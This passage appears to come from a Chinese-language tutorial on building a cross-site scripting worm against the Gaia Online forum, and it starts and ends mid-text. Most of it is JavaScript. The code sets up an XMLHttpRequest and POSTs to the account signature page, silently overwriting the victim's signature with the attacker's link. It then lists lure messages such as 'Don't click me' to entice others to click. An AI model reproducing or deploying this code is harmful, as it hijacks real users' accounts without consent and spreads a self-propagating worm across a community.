sO = http://www.gaiaonline.com/gaia/vend.php?sort=
现在我们只需要发送数据给其它页面,这样我们就可以代表用户执行操作了。
2.2 AJAX Basics
AJAX(Asynchronous Javascript And XML)是广为流传的Web '2.0'的一个主要特色。这个站点里面有许多合法用户,我们可以适当地借用下。在不同的浏览器中,ajax会被单独执行,我们需要先去处理它。另外,WEB开发者总是喜欢挑剔地写些符合标准的兼容代码。
Code:
var xmlhttp; // Setup a variable.
try { // This checks for alternate browsers such as Opera or Firefox
xmlhttp = new XMLHttpRequest();
} catch (e) { // Oops, not one of those. Try different IE implementations.
var XHR = new Array('MSXML2.XMLHTTP.5.0',
'MSXML2.XMLHTTP.4.0',
'MSXML2.XMLHTTP.3.0',
'MSXML2.XMLHTTP',
'Microsoft.XMLHTTP');
var success = false;
for (var i=0;i < XHR.length && !success; i++) {
try {
xmlhttp = new ActiveXObject(XHR[i]);
success = true;
} catch (e) {}
}
if (!success) {
throw new Error('No XHR object'); // No XMLHttpRequest object? Is this 1990?
}
}
var targetURI = "/account/signature/"; // URI to send params to
var params = "signature=" + bbUrl; //Params to send to targetURI - In this case, changing the signature.
xmlhttp.open("POST", targetURI, true); //Open XHR and then set headers.
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "close");
xmlhttp.send(params); //Send the parameters to the target.
function gQ() {
rN=Math.floor(Math.random()*10);
var quote=new Array(10)
quote[0]="Free avi art at my shop...";
quote[1]="Don't click me :ninja:";
quote[2]="Rate my avi in this contest!";
quote[3]="Read my Journal!!";
quote[4]="Did you see this!?";
quote[5]="Whoa...";
quote[6]="Come check this out";
quote[7]="You should go here..";
quote[8]="Go check this out plx ;)";
quote[9]="Click this.";